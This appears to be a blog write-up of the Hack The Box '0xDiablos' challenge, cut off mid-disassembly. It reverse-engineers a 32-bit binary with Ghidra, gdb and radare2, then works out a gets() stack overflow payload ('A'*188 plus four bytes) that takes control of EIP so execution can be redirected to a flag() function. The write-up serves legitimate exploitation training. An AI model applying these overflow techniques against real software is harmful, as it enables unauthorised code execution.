Hackthebox challenge writeup - You know 0xDiablos challenge

Sat 10 July 2021

A writeup of how I approached the HTB challenge 0xDiablos. Hackthebox is a fun platform that lets you work on your enumeration, pentesting and hacking skills.

Introduction

The challenge start with the download of a .zip file, and inside the .zip archive you find 1 file.

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ file vuln 
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ strings vuln 
tdX 
/lib/ld-linux.so.2
libc.so.6
[^_]
flag.txt
Hurry up and try in on server side.
You know who are 0xDiablos: 
;*2$" 
GCC: (Debian 8.3.0-19) 8.3.0

As we can se this is clearly a Linux program, and it is hinting about try something on the serverside.

When we started the challenge we also had to spin up a server of some-sort. Lets try to scan the IP we were given.

  • -vv: Verbosity is increased 2x to allow us to see what Nmap is doing during the scan.
  • --reason: Adds a column to our map results for why Nmap classified it that port.
  • -Pn: Tells Nmap to skip the ping test and just scan our provided target since we know it's up (10.10.10.197).
  • -A: More aggressive scan including OS detection, Version detection, traceroute, script scanning.
  • --osscan-guess: Asks NMAP to guess the OS version if no perfect match found.
  • --version-all: Tries all version probs for every port.
  • -p: Scan 1 specific port only, to save time.

PS: db_nmap can take alle the normal nmap options and parameters.

msf6 > db_nmap -vv --reason -Pn -A --osscan-guess --version-all -p 32266 46.101.89.127
[*] Nmap: 'Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.'
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 22:54 CEST
...
[*] Nmap: Nmap scan report for 46.101.89.127
[*] Nmap: Host is up, received user-set (0.054s latency).
[*] Nmap: Scanned at 2021-07-10 22:54:12 CEST for 267s
[*] Nmap: PORT      STATE SERVICE REASON  VERSION
[*] Nmap: 32266/tcp open  unknown syn-ack
[*] Nmap: | fingerprint-strings:
[*] Nmap: |   DNSStatusRequestTCP, DNSVersionBindReqTCP, DistCCD, GenericLines, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, SSLv23SessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |   FourOhFourRequest:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |     /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
[*] Nmap: |   GetRequest:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |     HTTP/1.0
[*] Nmap: |   HTTPOptions:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |     OPTIONS / HTTP/1.0
[*] Nmap: |   Hello:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |     EHLO
[*] Nmap: |   Help:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |     HELP
[*] Nmap: |   LPDString:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |     default
[*] Nmap: |   RTSPRequest:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |     OPTIONS / RTSP/1.0
[*] Nmap: |   SIPOptions:
[*] Nmap: |     You know who are 0xDiablos:
[*] Nmap: |_    OPTIONS sip:nm SIP/2.0
[*] Nmap: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[*] Nmap: SF-Port32266-TCP:V=7.91%I=9%D=7/10%Time=60EA08FA%P=x86_64-pc-linux-gnu%r(N
[*] Nmap: SF:ULL,1D,"You\x20know\x20who\x20are\x200xDiablos:\x20\n")%r(GenericLines,
[*] Nmap: SF:1F,"You\x20know\x20who\x20are\x200xDiablos:\x20\n\r\n")%r(GetRequest,2D
[*] Nmap: SF:,"You\x20know\x20who\x20are\x200xDiablos:\x20\nGET\x20/\x20HTTP/1\.0\r\
[*] Nmap: SF:n")%r(HTTPOptions,31,"You\x20know\x20who\x20are\x200xDiablos:\x20\nOPTI
[*] Nmap: SF:ONS\x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,31,"You\x20know\x20who\x20are
[*] Nmap: SF:\x200xDiablos:\x20\nOPTIONS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,1D,"You\
[*] Nmap: SF:x20know\x20who\x20are\x200xDiablos:\x20\n")%r(DNSVersionBindReqTCP,1D,"
[*] Nmap: SF:You\x20know\x20who\x20are\x200xDiablos:\x20\n")%r(DNSStatusRequestTCP,1
[*] Nmap: SF:D,"You\x20know\x20who\x20are\x200xDiablos:\x20\n")%r(Hello,23,"You\x20k
[*] Nmap: SF:now\x20who\x20are\x200xDiablos:\x20\nEHLO\r\n")%r(Help,23,"You\x20know\
[*] Nmap: SF:x20who\x20are\x200xDiablos:\x20\nHELP\r\n")%r(SSLSessionReq,20,"You\x20
[*] Nmap: SF:know\x20who\x20are\x200xDiablos:\x20\n\x16\x03\n")%r(TerminalServerCook
[*] Nmap: SF:ie,1F,"You\x20know\x20who\x20are\x200xDiablos:\x20\n\x03\n")%r(TLSSessi
[*] Nmap: SF:onReq,20,"You\x20know\x20who\x20are\x200xDiablos:\x20\n\x16\x03\n")%r(S
[*] Nmap: SF:SLv23SessionReq,23,"You\x20know\x20who\x20are\x200xDiablos:\x20\n\x80\x
[*] Nmap: SF:9e\x01\x03\x01\n")%r(Kerberos,1E,"You\x20know\x20who\x20are\x200xDiablo
[*] Nmap: SF:s:\x20\n\n")%r(SMBProgNeg,1D,"You\x20know\x20who\x20are\x200xDiablos:\x
[*] Nmap: SF:20\n")%r(X11Probe,1D,"You\x20know\x20who\x20are\x200xDiablos:\x20\n")%r
[*] Nmap: SF:(FourOhFourRequest,50,"You\x20know\x20who\x20are\x200xDiablos:\x20\nGET
[*] Nmap: SF:\x20/nice%20ports%2C/Tri%6Eity\.txt%2ebak\x20HTTP/1\.0\r\n")%r(LPDStrin
[*] Nmap: SF:g,26,"You\x20know\x20who\x20are\x200xDiablos:\x20\n\x01default\n")%r(LD
[*] Nmap: SF:APSearchReq,20,"You\x20know\x20who\x20are\x200xDiablos:\x20\n0\x84\n")%
[*] Nmap: SF:r(LDAPBindReq,1D,"You\x20know\x20who\x20are\x200xDiablos:\x20\n")%r(SIP
[*] Nmap: SF:Options,35,"You\x20know\x20who\x20are\x200xDiablos:\x20\nOPTIONS\x20sip
[*] Nmap: SF::nm\x20SIP/2\.0\r\n")%r(LANDesk-RC,1D,"You\x20know\x20who\x20are\x200xD
[*] Nmap: SF:iablos:\x20\n")%r(TerminalServer,1D,"You\x20know\x20who\x20are\x200xDia
[*] Nmap: SF:blos:\x20\n")%r(NCP,1D,"You\x20know\x20who\x20are\x200xDiablos:\x20\n")
[*] Nmap: SF:%r(NotesRPC,1D,"You\x20know\x20who\x20are\x200xDiablos:\x20\n")%r(DistC
[*] Nmap: SF:CD,1D,"You\x20know\x20who\x20are\x200xDiablos:\x20\n");
[*] Nmap: NSE: Script Post-scanning.
[*] Nmap: NSE: Starting runlevel 1 (of 3) scan.
[*] Nmap: Initiating NSE at 22:58
[*] Nmap: Completed NSE at 22:58, 0.00s elapsed
[*] Nmap: NSE: Starting runlevel 2 (of 3) scan.
[*] Nmap: Initiating NSE at 22:58
[*] Nmap: Completed NSE at 22:58, 0.00s elapsed
[*] Nmap: NSE: Starting runlevel 3 (of 3) scan.
[*] Nmap: Initiating NSE at 22:58
[*] Nmap: Completed NSE at 22:58, 0.00s elapsed
[*] Nmap: Read data files from: /usr/bin/../share/nmap
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 267.69 seconds
msf6 >

Ok, a lot of stuff here. The server and port is up as expected, and it was waiting for us to scan it ;)

Local exploration

We let the server sit alone for a while and work locally on the downloaded executable file.

Let's try to run the executable file:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ ./vuln 
You know who are 0xDiablos: 
thisisatest
thisisatest
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ echo $?
0
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ ./vuln 
You know who are 0xDiablos: 
1234
1234
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ echo $?
0

It looks like it is echoing what I'm giving it and then exit. I launch the program once more in a separate terminal, and then check what resources the program is claiming from the system:

0xdiablos@kali:~$ sudo lsof | grep -i vuln
lsof: WARNING: can't stat() fuse.gvfsd-fuse file system /run/user/1000/gvfs
      Output information may be incomplete.
vuln      76892                  0xdiablos  cwd       DIR               0,42       128         41 /mnt/hgfs/kali_share/challenge-youknow0xdiablos
vuln      76892                  0xdiablos  rtd       DIR              254,0      4096          2 /
vuln      76892                  0xdiablos  txt       REG               0,42     15656       3197 /mnt/hgfs/kali_share/challenge-youknow0xdiablos/vuln
vuln      76892                  0xdiablos  mem       REG              254,0   1993968     578469 /usr/lib/i386-linux-gnu/libc-2.31.so
vuln      76892                  0xdiablos  mem       REG              254,0    175500     524119 /usr/lib/i386-linux-gnu/ld-2.31.so
vuln      76892                  0xdiablos    0u      CHR              136,2       0t0          5 /dev/pts/2
vuln      76892                  0xdiablos    1u      CHR              136,2       0t0          5 /dev/pts/2
vuln      76892                  0xdiablos    2u      CHR              136,2       0t0          5 /dev/pts/2

Im not quite sure if it gives me anything, but if the program had opened ports we would have been able to see which port when doing the lsof.

Using Ghidra to peek into the file

Download and install the newest version of Ghidra: https://github.com/NationalSecurityAgency/ghidra/releases

All program starts with a main() function, so go to the function tree and locate it there:

Here we can see that it puts out the text 'You know who are 0xdiablos' and then go to a function called 'vuln'.

Lets take a look at the vuln() function too:

The vuln() function is declaring a char array of 180, then gets input and puts the same input. Exactly as we experienced earlier when we ran the program.

Now let us peek at one last interesting function, the one that is named flag():

We see that if some conditions are met it will open a file called flag.txt, which is probably the one that we want.

Let us create a local variant of the flag.txt file to practice on:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ vi flag.txt
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ cat flag.txt 
This is a local flag so that I can test without the serverinstance running.

When we find out how to get the local file we can redo the step against the version running on the server.

Debug the file with gdb

So far we have only done static analysis of the file, but I think we need to peek into it while running too, using a debugger. So far we have seen that we have a file with multiple functions that might be of interest, especially vuln() and flag(). We are allowed to give the program input, so I suspect some kind of buffer-overflow attack. To mount an buffer-overflow attack we need to know where our available buffer starts, and where it ends.

Lets open the file in gdb, find a breakpoint right after input and see if we can see where our available buffer starts.

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ gdb vuln
(gdb) disassemble vuln
Dump of assembler code for function vuln:
   0x08049272 <+0>:     push   %ebp
   0x08049273 <+1>:     mov    %esp,%ebp
   0x08049275 <+3>:     push   %ebx
   0x08049276 <+4>:     sub    $0xb4,%esp
   0x0804927c <+10>:    call   0x8049120 <__x86.get_pc_thunk.bx>
   0x08049281 <+15>:    add    $0x2d7f,%ebx
   0x08049287 <+21>:    sub    $0xc,%esp
   0x0804928a <+24>:    lea    -0xb8(%ebp),%eax
   0x08049290 <+30>:    push   %eax
   0x08049291 <+31>:    call   0x8049040 <gets@plt>
   0x08049296 <+36>:    add    $0x10,%esp
   0x08049299 <+39>:    sub    $0xc,%esp
   0x0804929c <+42>:    lea    -0xb8(%ebp),%eax
   0x080492a2 <+48>:    push   %eax
   0x080492a3 <+49>:    call   0x8049070 <puts@plt>
   0x080492a8 <+54>:    add    $0x10,%esp
   0x080492ab <+57>:    nop
   0x080492ac <+58>:    mov    -0x4(%ebp),%ebx
   0x080492af <+61>:    leave  
   0x080492b0 <+62>:    ret    
End of assembler dump.
(gdb) break *0x080492a8
Breakpoint 1 at 0x80492a8
(gdb) run
Starting program: /mnt/hgfs/kali_share/challenge-youknow0xdiablos/vuln 
You know who are 0xDiablos: 
AAAAAAAAAA
AAAAAAAAAA

Breakpoint 1, 0x080492a8 in vuln ()
(gdb) x/200xb $esp
0xffffd0d0:     0xe0    0xd0    0xff    0xff    0x67    0x1d    0xfa    0xf7
0xffffd0d8:     0x01    0x00    0x00    0x00    0x81    0x92    0x04    0x08
0xffffd0e0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd0e8:     0x41    0x41    0x00    0x00    0x38    0x9f    0xdc    0xf7
0xffffd0f0:     0x10    0xa1    0xfc    0xf7    0xd4    0x07    0x00    0x00
0xffffd0f8:     0x1c    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0xffffd100:     0x0a    0x00    0x00    0x00    0x1c    0x00    0x00    0x00
0xffffd108:     0x88    0xd1    0xff    0xff    0x97    0x7f    0xe3    0xf7
0xffffd110:     0x20    0x1d    0xfa    0xf7    0x1c    0x00    0x00    0x00
0xffffd118:     0x20    0x1d    0xfa    0xf7    0x23    0x84    0xe3    0xf7
0xffffd120:     0x20    0x1d    0xfa    0xf7    0x67    0x1d    0xfa    0xf7
0xffffd128:     0x01    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0xffffd130:     0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd138:     0x79    0x8f    0xe3    0xf7    0xe0    0x25    0xfa    0xf7
0xffffd140:     0x20    0x1d    0xfa    0xf7    0x1c    0x00    0x00    0x00
0xffffd148:     0x88    0xd1    0xff    0xff    0x0b    0xc6    0xe2    0xf7
0xffffd150:     0x20    0x1d    0xfa    0xf7    0x0a    0x00    0x00    0x00
0xffffd158:     0x1c    0x00    0x00    0x00    0x8e    0x79    0xe8    0xf7
0xffffd160:     0xe9    0x26    0xfe    0xf7    0x00    0x10    0xfa    0xf7
0xffffd168:     0xbc    0x1d    0xfa    0xf7    0x1c    0x00    0x00    0x00
0xffffd170:     0xb8    0xd1    0xff    0xff    0xf0    0x88    0xfe    0xf7
0xffffd178:     0x00    0x00    0x00    0x00    0x00    0xc0    0x04    0x08
0xffffd180:     0x00    0x10    0xfa    0xf7    0x00    0x10    0xfa    0xf7
0xffffd188:     0xb8    0xd1    0xff    0xff    0x10    0x93    0x04    0x08
0xffffd190:     0x38    0xa0    0x04    0x08    0x00    0xc0    0x04    0x08

Ok, we have found the start of the inputbuffer in vuln(), and it is *0xffffd0e0. We put in 10 'A's when we ran the program and we can recognize that pattern as 10 '0x41's in the register dump.

Lets see how much we can put into the buffer before something goes wrong:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ gdb vuln 
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.                                                                                                                                                                                          
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(No debugging symbols found in vuln)
(gdb) run
Starting program: /mnt/hgfs/kali_share/challenge-youknow0xdiablos/vuln 
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 228090) exited normally]
(gdb) run
Starting program: /mnt/hgfs/kali_share/challenge-youknow0xdiablos/vuln 
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08049326 in main ()
(gdb)

I used this little snippet to generate the string of 'A's:

0xdiablos@kali:/mnt/hgfs/kali_share$ python -c "print('A'*183)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

And we see that if give it 183 'A's it exit normally, but 184 'A's give a segmentation fault. We now know a bit more about of our buffer. But we want to make sure that we are able to control the content of the buffer-overflow, so we want to keep experimenting until we see that our input is whats in the memory-address that is referenced in the segfault error.

0xdiablos@kali:/mnt/hgfs/kali_share$ python -c "print('A'*188+'BBBB')"                                                                                                                                                                 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ gdb vuln 
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /mnt/hgfs/kali_share/challenge-youknow0xdiablos/vuln 
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers esp ebp eip
esp            0xffffd190          0xffffd190
ebp            0x41414141          0x41414141
eip            0x42424242          0x4242424

Ah. We now know exactly what string we need to give as input to make it point to the address 0x42424242, which is not a legal address and therefore we got segmentation fault. We also see that we have control of both ebp and eip registervalues.

An alternative way to feed a long string to a running gdb:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ python -c "print('A'*188+'BBBB')" > input2.txt
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ gdb vuln
(gdb) run < input2.txt
Starting program: /mnt/hgfs/kali_share/challenge-youknow0xdiablos/vuln < input2.txt
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

... or as a one-liner:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ python -c "print('A'*188+'BBBB')" | ./vuln

... or as a one-liner, inside gdb:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ gdb vuln
(gdb)  run <<< $(python -c "print('A'*188+'BBBB')")
Starting program: /mnt/hgfs/kali_share/challenge-youknow0xdiablos/vuln <<< $(python -c "print('A'*188+'BBBB')")
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

so what we know now is how we can overwrite the stackpointer by filling the buffer with 188 'A's and 4 'B's. This can be handy because it allow us to alter the intended flow of the program.

Programflow with radarare2

Let us examine the workflow with radare2, a tool that can be used for everything reverse-engineering. You can find the suite of tools here: https://www.radare.org/n/

  • aaa: analyze the functions.
  • afl: print all functions.
  • pdf: print the disassembly of current function.
  • s main: change current location to main().

PS: Please see the man page for full list of options

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ radare2 vuln 
[0x080490d0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080490d0]> afl
0x080490d0    1 50           entry0
0x08049103    1 4            fcn.08049103
0x08049090    1 6            sym.imp.__libc_start_main
0x08049130    4 49   -> 40   sym.deregister_tm_clones
0x08049170    4 57   -> 53   sym.register_tm_clones
0x080491b0    3 33   -> 30   sym.__do_global_dtors_aux
0x080491e0    1 2            entry.init0
0x08049390    1 1            sym.__libc_csu_fini
0x08049120    1 4            sym.__x86.get_pc_thunk.bx
0x08049391    1 4            sym.__x86.get_pc_thunk.bp
0x08049272    1 63           sym.vuln
0x08049040    1 6            sym.imp.gets
0x08049070    1 6            sym.imp.puts
0x08049398    1 20           sym._fini
0x08049330    4 93           sym.__libc_csu_init
0x08049110    1 1            sym._dl_relocate_static_pie
0x080492b1    1 118          main
0x080490a0    1 6            sym.imp.setvbuf
0x08049060    1 6            sym.imp.getegid
0x080490c0    1 6            sym.imp.setresgid
0x080491e2    8 144          sym.flag
0x080490b0    1 6            sym.imp.fopen
0x08049080    1 6            sym.imp.exit
0x08049050    1 6            sym.imp.fgets
0x08049030    1 6            sym.imp.printf
0x08049000    3 32           sym._init
[0x080490d0]> s main
[0x080492b1]> pdf
            ; DATA XREFS from entry0 @ 0x80490f6, 0x80490fc
┌ 118: int main (char **argv);           ; var int32_t var_ch @ ebp-0xc
│           ; var int32_t var_8h @ ebp-0x8
│           ; arg char **argv @ esp+0x34
│           0x080492b1      8d4c2404       lea ecx, [argv]           0x080492b5      83e4f0         and esp, 0xfffffff0
│           0x080492b8      ff71fc         push dword [ecx - 4]           0x080492bb      55             push ebp
│           0x080492bc      89e5           mov ebp, esp
│           0x080492be      53             push ebx
│           0x080492bf      51             push ecx
│           0x080492c0      83ec10         sub esp, 0x10
│           0x080492c3      e858feffff     call sym.__x86.get_pc_thunk.bx
│           0x080492c8      81c3382d0000   add ebx, 0x2d38
│           0x080492ce      8b83fcffffff   mov eax, dword [ebx - 4]           0x080492d4      8b00           mov eax, dword [eax]           0x080492d6      6a00           push 0           0x080492d8      6a02           push 2                      ; 2           0x080492da      6a00           push 0                      ; char *buf
│           0x080492dc      50             push eax                    ; FILE*stream
│           0x080492dd      e8befdffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)           0x080492e2      83c410         add esp, 0x10
│           0x080492e5      e876fdffff     call sym.imp.getegid
│           0x080492ea      8945f4         mov dword [var_ch], eax
│           0x080492ed      83ec04         sub esp, 4           0x080492f0      ff75f4         push dword [var_ch]           0x080492f3      ff75f4         push dword [var_ch]           0x080492f6      ff75f4         push dword [var_ch]           0x080492f9      e8c2fdffff     call sym.imp.setresgid
│           0x080492fe      83c410         add esp, 0x10
│           0x08049301      83ec0c         sub esp, 0xc
│           0x08049304      8d8338e0ffff   lea eax, [ebx - 0x1fc8]           0x0804930a      50             push eax                    ; const char *s
│           0x0804930b      e860fdffff     call sym.imp.puts           ; int puts(const char *s)           0x08049310      83c410         add esp, 0x10
│           0x08049313      e85affffff     call sym.vuln
│           0x08049318      b800000000     mov eax, 0           0x0804931d      8d65f8         lea esp, [var_8h]           0x08049320      59             pop ecx
│           0x08049321      5b             pop ebx
│           0x08049322      5d             pop ebp
│           0x08049323      8d61fc         lea esp, [ecx - 4]           0x08049326      c3             ret
[0x080492b1]> s sym.vuln
[0x08049272]> pdf
            ; CALL XREF from main @ 0x8049313
┌ 63: sym.vuln ();           ; var char *s @ ebp-0xb8
│           ; var int32_t var_4h @ ebp-0x4
│           0x08049272      55             push ebp
│           0x08049273      89e5           mov ebp, esp
│           0x08049275      53             push ebx
│           0x08049276      81ecb4000000   sub esp, 0xb4
│           0x0804927c      e89ffeffff     call sym.__x86.get_pc_thunk.bx
│           0x08049281      81c37f2d0000   add ebx, 0x2d7f
│           0x08049287      83ec0c         sub esp, 0xc
│           0x0804928a      8d8548ffffff   lea eax, [s]           0x08049290      50             push eax                    ; char *s
│           0x08049291      e8aafdffff     call sym.imp.gets           ; char *gets(char *s)           0x08049296      83c410         add esp, 0x10
│           0x08049299      83ec0c         sub esp, 0xc
│           0x0804929c      8d8548ffffff   lea eax, [s]           0x080492a2      50             push eax                    ; const char *s
│           0x080492a3      e8c8fdffff     call sym.imp.puts           ; int puts(const char *s)           0x080492a8      83c410         add esp, 0x10
│           0x080492ab      90             nop
│           0x080492ac      8b5dfc         mov ebx, dword [var_4h]           0x080492af      c9             leave
└           0x080492b0      c3             ret

As we can see (and already knew from our Ghidra-session) is that main() does not have any call to get input, but instead it call out for the function vuln() where we can see the gets function call. We will mount our attack in such a way that when the vuln() function is returning, it should return to the flag() function instead of main().

[0x08049272]> s sym.flag
[0x080491e2]> pdf
┌ 144: sym.flag (uint32_t arg_8h, uint32_t arg_ch);           ; var char *format @ ebp-0x4c
│           ; var file*stream @ ebp-0xc
│           ; var int32_t var_4h @ ebp-0x4
│           ; arg uint32_t arg_8h @ ebp+0x8
│           ; arg uint32_t arg_ch @ ebp+0xc
│           0x080491e2      55             push ebp
│           0x080491e3      89e5           mov ebp, esp
│           0x080491e5      53             push ebx
│           0x080491e6      83ec54         sub esp, 0x54
│           0x080491e9      e832ffffff     call sym.__x86.get_pc_thunk.bx
│           0x080491ee      81c3122e0000   add ebx, 0x2e12
│           0x080491f4      83ec08         sub esp, 8           0x080491f7      8d8308e0ffff   lea eax, [ebx - 0x1ff8]           0x080491fd      50             push eax                    ; const char *mode
│           0x080491fe      8d830ae0ffff   lea eax, [ebx - 0x1ff6]           0x08049204      50             push eax                    ; const char *filename
│           0x08049205      e8a6feffff     call sym.imp.fopen          ; file*fopen(const char *filename, const char *mode)           0x0804920a      83c410         add esp, 0x10
│           0x0804920d      8945f4         mov dword [stream], eax
│           0x08049210      837df400       cmp dword [stream], 0       ┌─< 0x08049214      751c           jne 0x8049232
│          0x08049216      83ec0c         sub esp, 0xc
│          0x08049219      8d8314e0ffff   lea eax, [ebx - 0x1fec]          0x0804921f      50             push eax                    ; const char *s
│          0x08049220      e84bfeffff     call sym.imp.puts           ; int puts(const char *s)          0x08049225      83c410         add esp, 0x10
│          0x08049228      83ec0c         sub esp, 0xc
│          0x0804922b      6a00           push 0                      ; int status
│          0x0804922d      e84efeffff     call sym.imp.exit           ; void exit(int status)          ; CODE XREF from sym.flag @ 0x8049214
│       └─> 0x08049232      83ec04         sub esp, 4           0x08049235      ff75f4         push dword [stream]         ; FILE *stream
│           0x08049238      6a40           push 0x40                   ; '@' ; 64 ; int size
│           0x0804923a      8d45b4         lea eax, [format]           0x0804923d      50             push eax                    ; char *s
│           0x0804923e      e80dfeffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)           0x08049243      83c410         add esp, 0x10
│           0x08049246      817d08efbead.  cmp dword [arg_8h], 0xdeadbeef
│       ┌─< 0x0804924d      751a           jne 0x8049269
│          0x0804924f      817d0c0dd0de.  cmp dword [arg_ch], 0xc0ded00d
│      ┌──< 0x08049256      7514           jne 0x804926c
│      ││   0x08049258      83ec0c         sub esp, 0xc
│      ││   0x0804925b      8d45b4         lea eax, [format]      ││   0x0804925e      50             push eax                    ; const char *format
│      ││   0x0804925f      e8ccfdffff     call sym.imp.printf         ; int printf(const char *format)      ││   0x08049264      83c410         add esp, 0x10
│     ┌───< 0x08049267      eb04           jmp 0x804926d
│     │││   ; CODE XREF from sym.flag @ 0x804924d
│     ││└─> 0x08049269      90             nop
